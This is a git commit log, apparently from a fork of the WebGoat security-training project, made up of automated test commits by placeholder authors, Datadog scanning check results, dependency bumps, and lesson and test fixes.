2025-05-10 21:28:28 +00:00
DWSAuthor
af6d091268 Automated commit 10 by DWSAuthor
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 47s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 21:25:42 +00:00
author3@example.com
fa487135a0 Automated commit 9 by <author3@example.com>
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 21:22:55 +00:00
Three
637596547a Automated commit 8 by Three
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 49s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m46s
2025-05-10 21:20:08 +00:00
Author
b53b7bc481 Automated commit 7 by Author
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m46s
2025-05-10 21:17:22 +00:00
author1@example.com
b9a72f1772 Automated commit 6 by <author1@example.com>
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m46s
2025-05-10 21:14:35 +00:00
One
5e8edad835 Automated commit 5 by One
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 21:11:48 +00:00
Author
b7efb91c73 Automated commit 4 by Author
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 21:09:02 +00:00
adwsuthor7@example.com
d3864438a7 Automated commit 3 by <adwsuthor7@example.com>
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 21:06:15 +00:00
Seven
e2ab1c0441 Automated commit 2 by Seven
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m47s
2025-05-10 21:03:28 +00:00
DWSAuthor
38ce103ceb Automated commit 1 by DWSAuthor
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m46s
2025-05-10 21:00:42 +00:00
autdwshor6@example.com
dc68db40c7 Automated commit 12 by <autdwshor6@example.com>
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 47s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
Scheduled Fake Commits / create_scheduled_commits (push) Successful in 31m2s
2025-05-10 18:31:14 +00:00
Six
6feb1d16f5 Automated commit 11 by Six
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 54s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 18:28:27 +00:00
DWSAuthor
ebe222661f Automated commit 10 by DWSAuthor
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m46s
2025-05-10 18:25:41 +00:00
adwsuthor7@example.com
f3bc3b0ad3 Automated commit 9 by <adwsuthor7@example.com>
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 18:22:54 +00:00
Seven
fba6fc6191 Automated commit 8 by Seven
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 54s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 18:20:07 +00:00
DWSAuthor
2e831341e0 Automated commit 7 by DWSAuthor
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 49s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 18:17:21 +00:00
autdwshor4@example.com
327e1f7899 Automated commit 6 by <autdwshor4@example.com>
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 47s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 18:14:34 +00:00
Four
513592f424 Automated commit 5 by Four
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m46s
2025-05-10 18:11:47 +00:00
DWSAuthor
51276dfcb9 Automated commit 4 by DWSAuthor
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 18:09:01 +00:00
author7@example.com
6053d53b55 Automated commit 3 by <author7@example.com>
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 56s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 18:06:14 +00:00
Seven
46cb95cb53 Automated commit 2 by Seven
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
2025-05-10 18:03:27 +00:00
Author
3ef736982e Automated commit 1 by Author
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 49s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m46s
2025-05-10 18:00:41 +00:00
678a76a029
more fixes
All checks were successful
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m46s
Scheduled Fake Commits / create_scheduled_commits (push) Successful in 31m2s
2025-05-10 12:55:35 -04:00
Author One
c79a74d499 Automated commit 1 by Author One
Some checks failed
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Has been cancelled
2025-05-10 16:54:41 +00:00
Author One
a61fc60357 Automated commit 1 by Author One
Some checks failed
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
Scheduled Fake Commits / create_scheduled_commits (push) Failing after 3m3s
2025-05-10 16:51:41 +00:00
af45e392d6
Merge remote-tracking branch 'refs/remotes/origin/main'
Some checks are pending
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 47s
DDSDS / Datadog Static Analyzer (push) Successful in 54s
DDSAST / Datadog Static Analyzer (push) Successful in 1m45s
Scheduled Fake Commits / create_scheduled_commits (push) Has started running
2025-05-10 12:49:11 -04:00
Author One
7c019cf2ab Automated commit 1 by Author One
Some checks failed
DDSAST / Datadog Static Analyzer (push) Has been cancelled
DDSDS / Datadog Static Analyzer (push) Has been cancelled
DDSCA / Datadog SBOM Generation and Upload (push) Has been cancelled
2025-05-10 16:48:41 +00:00
c325068f51
Merge remote-tracking branch 'refs/remotes/origin/main' 2025-05-10 12:48:17 -04:00
788927a5a7
typo...huh 2025-05-10 12:47:57 -04:00
Author One
f209d57e22 Automated commit 1 by Author One
Some checks failed
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 47s
DDSDS / Datadog Static Analyzer (push) Successful in 56s
DDSAST / Datadog Static Analyzer (push) Successful in 1m46s
Scheduled Fake Commits / create_scheduled_commits (push) Failing after 29s
2025-05-10 16:45:47 +00:00
2cd85583ee
Merge remote-tracking branch 'refs/remotes/origin/main'
Some checks failed
DDSCA / Datadog SBOM Generation and Upload (push) Successful in 48s
DDSDS / Datadog Static Analyzer (push) Successful in 55s
DDSAST / Datadog Static Analyzer (push) Successful in 1m46s
Scheduled Fake Commits / create_scheduled_commits (push) Failing after 36s
2025-05-10 12:43:32 -04:00
9f64a3209a
rename it all 2025-05-10 12:43:16 -04:00
DWSAuthor Two
f263888c03 Automated commit 12 by DWSAuthor Two 2025-05-10 16:23:30 +00:00
DWSAuthor One
11b8425e45 Automated commit 11 by DWSAuthor One 2025-05-10 16:21:26 +00:00
Author Ten
28f6eee326 Automated commit 10 by Author Ten 2025-05-10 16:19:21 +00:00
Author Nine
1dfcf5b271 Automated commit 9 by Author Nine 2025-05-10 16:17:17 +00:00
Author Eight
4a884b5332 Automated commit 8 by Author Eight 2025-05-10 16:15:12 +00:00
Author Seven
7b95daa7bf Automated commit 7 by Author Seven 2025-05-10 16:13:08 +00:00
Author Six
c69efc52e4 Automated commit 6 by Author Six 2025-05-10 16:11:03 +00:00
Author Five
0e4206b8f1 Automated commit 5 by Author Five 2025-05-10 16:08:59 +00:00
Author Four
60ffca7e56 Automated commit 4 by Author Four 2025-05-10 16:06:55 +00:00
Author Three
1812bacaa7 Automated commit 3 by Author Three 2025-05-10 16:04:50 +00:00
Author Two
327f9effbd Automated commit 2 by Author Two 2025-05-10 16:02:46 +00:00
Author One
db7daa227f Automated commit 1 by Author One 2025-05-10 16:00:41 +00:00
95df44ca29
empty for the rules
All checks were successful
Datadog Software Composition Analysis / Datadog SBOM Generation and Upload (push) Successful in 49s
Datadog Secrets Scanning / Datadog Static Analyzer (push) Successful in 54s
Datadog Static Analysis / Datadog Static Analyzer (push) Successful in 1m45s
Scheduled Fake Commits / create_scheduled_commits (push) Successful in 23m6s
2025-05-10 08:35:06 -04:00
2d549e4579
remove semgrep from scanning
All checks were successful
Datadog Software Composition Analysis / Datadog SBOM Generation and Upload (push) Successful in 48s
Datadog Secrets Scanning / Datadog Static Analyzer (push) Successful in 55s
Datadog Static Analysis / Datadog Static Analyzer (push) Successful in 1m28s
2025-05-10 08:32:33 -04:00
f2e2616a88
Merge remote-tracking branch 'refs/remotes/origin/main'
Some checks failed
Datadog Software Composition Analysis / Datadog SBOM Generation and Upload (push) Successful in 50s
Datadog Secrets Scanning / Datadog Static Analyzer (push) Successful in 57s
Datadog Static Analysis / Datadog Static Analyzer (push) Has been cancelled
2025-05-10 08:29:53 -04:00
f6c2996cd4
add long commit delay and scanning 2025-05-10 08:29:25 -04:00
Author Two
c25bc7d7a6 Automated commit 2 by Author Two 2025-05-10 12:28:00 +00:00
Author One
953e7fd206 Automated commit 1 by Author One 2025-05-10 12:27:40 +00:00
e4cb868623
more test
All checks were successful
Scheduled Fake Commits / create_scheduled_commits (push) Successful in 36s
2025-05-10 08:24:45 -04:00
5efbd03d98
add release test
Some checks failed
Scheduled Fake Commits / create_scheduled_commits (push) Failing after 13s
2025-05-10 08:21:54 -04:00
7fabcc7fd5
add release test
Some checks failed
Scheduled Fake Commits / create_scheduled_commits (push) Failing after 20s
2025-05-10 08:15:08 -04:00
27ab9f89fa
add release test
Some checks failed
Scheduled Fake Commits / create_scheduled_commits (push) Failing after 23s
2025-05-10 08:10:21 -04:00
dependabot[bot]
06c0be257f
chore: bump org.jruby:jruby from 10.0.0.0 to 10.0.0.1 (#2123) 2025-05-07 21:08:52 +02:00
Nanne Baars
8b324b3954
chore: comment out script generation (#2120)
Not necessary to have this enabled while running WebGoat. Only helpful for development.
2025-05-05 20:17:09 +02:00
dependabot[bot]
cba4ff3d48
chore: bump com.diffplug.spotless:spotless-maven-plugin (#2111)
Bumps [com.diffplug.spotless:spotless-maven-plugin](https://github.com/diffplug/spotless) from 2.44.3 to 2.44.4.
- [Release notes](https://github.com/diffplug/spotless/releases)
- [Changelog](https://github.com/diffplug/spotless/blob/main/CHANGES.md)
- [Commits](https://github.com/diffplug/spotless/compare/maven/2.44.3...maven/2.44.4)

---
updated-dependencies:
- dependency-name: com.diffplug.spotless:spotless-maven-plugin
  dependency-version: 2.44.4
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-05 20:16:56 +02:00
dependabot[bot]
ca68d6bcf4
chore: bump org.apache.commons:commons-text from 1.13.0 to 1.13.1 (#2112)
Bumps org.apache.commons:commons-text from 1.13.0 to 1.13.1.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-text
  dependency-version: 1.13.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-05 19:41:50 +02:00
dependabot[bot]
f6990690de
chore: bump docker/build-push-action from 6.15.0 to 6.16.0 (#2119)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.15.0 to 6.16.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.15.0...v6.16.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-version: 6.16.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-05 19:28:08 +02:00
dependabot[bot]
634162f279
chore: bump org.wiremock:wiremock-standalone from 3.12.1 to 3.13.0 (#2118)
Bumps [org.wiremock:wiremock-standalone](https://github.com/wiremock/wiremock) from 3.12.1 to 3.13.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.12.1...3.13.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock-standalone
  dependency-version: 3.13.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-05 19:27:59 +02:00
dependabot[bot]
9f77d74f3e
chore: bump com.google.guava:guava from 33.4.7-jre to 33.4.8-jre (#2110)
Bumps [com.google.guava:guava](https://github.com/google/guava) from 33.4.7-jre to 33.4.8-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-version: 33.4.8-jre
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-05 19:27:23 +02:00
dependabot[bot]
55ea361f45
chore: bump org.jruby:jruby from 9.4.12.0 to 10.0.0.0 (#2109)
Bumps org.jruby:jruby from 9.4.12.0 to 10.0.0.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-version: 10.0.0.0
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-05 19:27:12 +02:00
René Zubcevic
fc6c61397d
set the browser language to pass the playwright tests if default lang of browser is not en (#2108) 2025-04-18 12:48:34 +02:00
Nanne Baars
f45bf6171b
fix: remove mailing list references (#2097) 2025-04-02 07:22:38 +02:00
Nanne Baars
b3dec8bdc9
fix: challenge introduction page loads (#2095) 2025-03-31 22:49:26 +02:00
Nanne Baars
c3f9158eab chore: text cleanup 2025-03-31 21:38:33 +02:00
Nanne Baars
ec3b9e8aaf
chore: update Java version in README (#2091)
Closes: gh-2072

* chore: add Maven wrapper jar file

This way we don't download it every time from a Maven repository saving some band with.

* chore: remove @authors tag
2025-03-31 21:05:15 +02:00
dependabot[bot]
9ec75d5a56
chore: bump org.apache.maven.plugins:maven-surefire-plugin (#2093)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.5.2 to 3.5.3.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.5.2...surefire-3.5.3)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-31 21:04:13 +02:00
dependabot[bot]
49dc370931
chore: bump com.google.guava:guava from 33.4.5-jre to 33.4.6-jre (#2094)
Bumps [com.google.guava:guava](https://github.com/google/guava) from 33.4.5-jre to 33.4.6-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-31 21:04:02 +02:00
dependabot[bot]
1e1a8af39e
chore: bump org.springframework.boot:spring-boot-starter-parent (#2081) 2025-03-29 16:00:18 +01:00
dependabot[bot]
451f5615d2
chore: bump io.github.bonigarcia:webdrivermanager from 5.9.3 to 6.0.0 (#2082) 2025-03-29 15:59:55 +01:00
dependabot[bot]
a4305f408e
chore: bump com.google.guava:guava from 33.4.0-jre to 33.4.5-jre (#2083) 2025-03-29 15:59:42 +01:00
dependabot[bot]
7dea5a1bde
chore: bump com.microsoft.playwright:playwright from 1.50.0 to 1.51.0 (#2084) 2025-03-29 15:59:29 +01:00
Geoffrey Tsai
8cd0b0a8c9
resolve the url for the developer tools network (#2087) 2025-03-29 15:59:09 +01:00
Geoffrey Tsai
72c09f7240
update the sql mitigation lessons 9 and 10 to contain the correct urls (#2077) 2025-03-21 14:15:19 +01:00
dependabot[bot]
d8c402f0d6
chore: bump docker/login-action from 3.3.0 to 3.4.0 (#2074)
Bumps [docker/login-action](https://github.com/docker/login-action) from 3.3.0 to 3.4.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v3.3.0...v3.4.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-20 12:30:50 +01:00
Nanne Baars
95136c9930
chore: update about page (#2070) 2025-03-12 06:59:01 +01:00
Nanne Baars
23d6fe6f36
fix: correct number of solved assignments in report card (#2065)
* fix: correct number of solved assignments in report card

Filter the list of assignments to accurately count the number of solved assignments.

Closes: gh-2063

* chore: remove scoreboard code

This is added when we run a CTF challenge during OWASP AppSecEU in 2017. We can remove this code.

Closes: gh-2064
2025-03-11 22:57:49 +01:00
Nanne Baars
2c5e4c4491
chore: use webgoat.org (#2066)
Closes: gh-2046
2025-03-11 22:47:02 +01:00
dependabot[bot]
c89fcb140a
chore: bump org.jsoup:jsoup from 1.18.3 to 1.19.1 (#2058)
Bumps [org.jsoup:jsoup](https://github.com/jhy/jsoup) from 1.18.3 to 1.19.1.
- [Release notes](https://github.com/jhy/jsoup/releases)
- [Changelog](https://github.com/jhy/jsoup/blob/master/CHANGES.md)
- [Commits](https://github.com/jhy/jsoup/compare/jsoup-1.18.3...jsoup-1.19.1)

---
updated-dependencies:
- dependency-name: org.jsoup:jsoup
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-11 21:45:10 +01:00
dependabot[bot]
3cfd053c83
chore: bump org.wiremock:wiremock-standalone from 3.12.0 to 3.12.1 (#2059)
Bumps [org.wiremock:wiremock-standalone](https://github.com/wiremock/wiremock) from 3.12.0 to 3.12.1.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.12.0...3.12.1)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock-standalone
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-11 21:44:45 +01:00
Nanne Baars
10adb1b05f chore: back to snapshot 2025-03-11 20:28:08 +01:00
Nanne Baars
c3ed45a733 chore: new release 2025.3 2025-03-11 20:16:10 +01:00
Nanne Baars
e2f80b18e2
fix: rewrite questions (#2057)
Closes: gh-1178
2025-03-11 20:05:35 +01:00
Nanne Baars
641f24df9d
fix: update filtering internal endpoints in ZAP (#2055) 2025-03-08 12:40:09 +01:00
dependabot[bot]
3b3933b69e
chore: bump docker/setup-qemu-action from 3.4.0 to 3.6.0 (#2049)
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 3.4.0 to 3.6.0.
- [Release notes](https://github.com/docker/setup-qemu-action/releases)
- [Commits](https://github.com/docker/setup-qemu-action/compare/v3.4.0...v3.6.0)

---
updated-dependencies:
- dependency-name: docker/setup-qemu-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-05 16:55:56 +01:00
dependabot[bot]
05497371db
chore: bump docker/build-push-action from 6.14.0 to 6.15.0 (#2050)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.14.0 to 6.15.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.14.0...v6.15.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-05 16:55:47 +01:00
Nanne Baars
32cf225d6b chore: back to snapshot 2025-03-02 20:47:20 +01:00
Nanne Baars
affa3f7a1c chore: release 2025.2 2025-03-02 20:37:33 +01:00
Nanne Baars
e9f79cc739
fix: SQL advanced assignment 5 (#2047)
- Add and show correct hints
- Fix solving the lesson immediately when you register as tom. Now uses `informationMessage` to display a message in the UI
- Add Playwright test

Closes: gh-2045
2025-03-02 20:31:05 +01:00
Nanne Baars
c37a8e8c19 chore: back to snapshot 2025-03-01 17:16:13 +01:00
Nanne Baars
5eeeee1e66 chore: extend create release documentation 2025-03-01 17:14:59 +01:00
Nanne Baars
0d4cc06342 chore: new release 2025.1 2025-03-01 16:38:56 +01:00
Nanne Baars
1d74727db6 chore: new release 2025.0 2025-03-01 16:03:06 +01:00
dependabot[bot]
957cd161f2
chore: bump org.wiremock:wiremock-standalone from 3.11.0 to 3.12.0 (#2026)
Bumps [org.wiremock:wiremock-standalone](https://github.com/wiremock/wiremock) from 3.11.0 to 3.12.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.11.0...3.12.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock-standalone
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-01 11:01:46 +01:00
Nanne Baars
16b7a13de8
chore: add test case for multiple users solving lessons (#2043) 2025-02-28 20:56:15 +01:00
Nanne Baars
95dcc56a19
fix: register user while already logged in as other user. (#2042) 2025-02-28 20:56:00 +01:00
Nanne Baars
55bd0a49db
chore: cleanup IT tests (#2040) 2025-02-28 18:39:23 +01:00
dependabot[bot]
b5af30c819
chore: bump docker/build-push-action from 6.13.0 to 6.14.0 (#2033) 2025-02-27 18:35:10 +01:00
dependabot[bot]
3d4780d7e0
chore: bump org.testcontainers:testcontainers from 1.20.4 to 1.20.5 (#2034) 2025-02-27 18:34:58 +01:00
dependabot[bot]
92d4981b90
chore: bump com.diffplug.spotless:spotless-maven-plugin (#2035) 2025-02-27 18:34:47 +01:00
dependabot[bot]
8166b10c1a
chore: bump org.testcontainers:junit-jupiter from 1.20.4 to 1.20.5 (#2036) 2025-02-27 18:34:36 +01:00
dependabot[bot]
6d1ebadf85
chore: bump org.springframework.boot:spring-boot-starter-parent (#2037) 2025-02-27 18:34:24 +01:00
dependabot[bot]
9572a7b840
chore: bump com.microsoft.playwright:playwright from 1.49.0 to 1.50.0 (#2025) 2025-02-22 20:55:35 +01:00
dependabot[bot]
6c16d4ccfc
chore: bump io.github.bonigarcia:webdrivermanager from 5.9.2 to 5.9.3 (#2027) 2025-02-22 20:55:07 +01:00
dependabot[bot]
93c3f19ca7
chore: bump org.jruby:jruby from 9.4.11.0 to 9.4.12.0 (#2028) 2025-02-22 20:54:55 +01:00
dependabot[bot]
fadb07d73e
chore: bump devops-infra/action-pull-request from 0.5.5 to 0.6.0 (#2029) 2025-02-22 20:54:44 +01:00
dependabot[bot]
f66126e53d
chore: bump devops-infra/action-commit-push from 0.9.2 to 0.10.0 (#2030) 2025-02-22 20:54:32 +01:00
Nanne Baars
c3c520f487
refactor: small updates and improvements in HTTP Basic lesson (#2024)
* refactor: cleanup attack result and builder

* refactor: solve compiler warnings

* feature: improve HTTP basics lesson

Closes: #494
2025-02-18 14:26:21 +01:00
Nanne Baars
00f3538be2
chore: format all code according to SPDX (#2023) 2025-02-16 19:48:05 +01:00
dependabot[bot]
2a5b4385ea
chore: bump com.diffplug.spotless:spotless-maven-plugin (#2006)
Bumps [com.diffplug.spotless:spotless-maven-plugin](https://github.com/diffplug/spotless) from 2.41.1 to 2.44.2.
- [Release notes](https://github.com/diffplug/spotless/releases)
- [Changelog](https://github.com/diffplug/spotless/blob/main/CHANGES.md)
- [Commits](https://github.com/diffplug/spotless/compare/maven/2.41.1...maven/2.44.2)

---
updated-dependencies:
- dependency-name: com.diffplug.spotless:spotless-maven-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 19:52:40 +01:00
dependabot[bot]
79ac5b7b99
chore: bump docker/build-push-action from 6.12.0 to 6.13.0 (#2012)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.12.0 to 6.13.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.12.0...v6.13.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:55:37 +01:00
dependabot[bot]
8638d94595
chore: bump org.springframework.boot:spring-boot-starter-parent (#2013)
Bumps [org.springframework.boot:spring-boot-starter-parent](https://github.com/spring-projects/spring-boot) from 3.4.1 to 3.4.2.
- [Release notes](https://github.com/spring-projects/spring-boot/releases)
- [Commits](https://github.com/spring-projects/spring-boot/compare/v3.4.1...v3.4.2)

---
updated-dependencies:
- dependency-name: org.springframework.boot:spring-boot-starter-parent
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:55:26 +01:00
dependabot[bot]
3ef5e34dd0
chore: bump org.jruby:jruby from 9.4.9.0 to 9.4.11.0 (#2017)
Bumps org.jruby:jruby from 9.4.9.0 to 9.4.11.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:55:09 +01:00
dependabot[bot]
019ab0495f
chore: bump com.auth0:java-jwt from 4.4.0 to 4.5.0 (#2018)
Bumps [com.auth0:java-jwt](https://github.com/auth0/java-jwt) from 4.4.0 to 4.5.0.
- [Release notes](https://github.com/auth0/java-jwt/releases)
- [Changelog](https://github.com/auth0/java-jwt/blob/master/CHANGELOG.md)
- [Commits](https://github.com/auth0/java-jwt/compare/4.4.0...4.5.0)

---
updated-dependencies:
- dependency-name: com.auth0:java-jwt
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:54:59 +01:00
dependabot[bot]
2aeee521ab
chore: bump org.wiremock:wiremock-standalone from 3.10.0 to 3.11.0 (#2019)
Bumps [org.wiremock:wiremock-standalone](https://github.com/wiremock/wiremock) from 3.10.0 to 3.11.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.10.0...3.11.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock-standalone
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
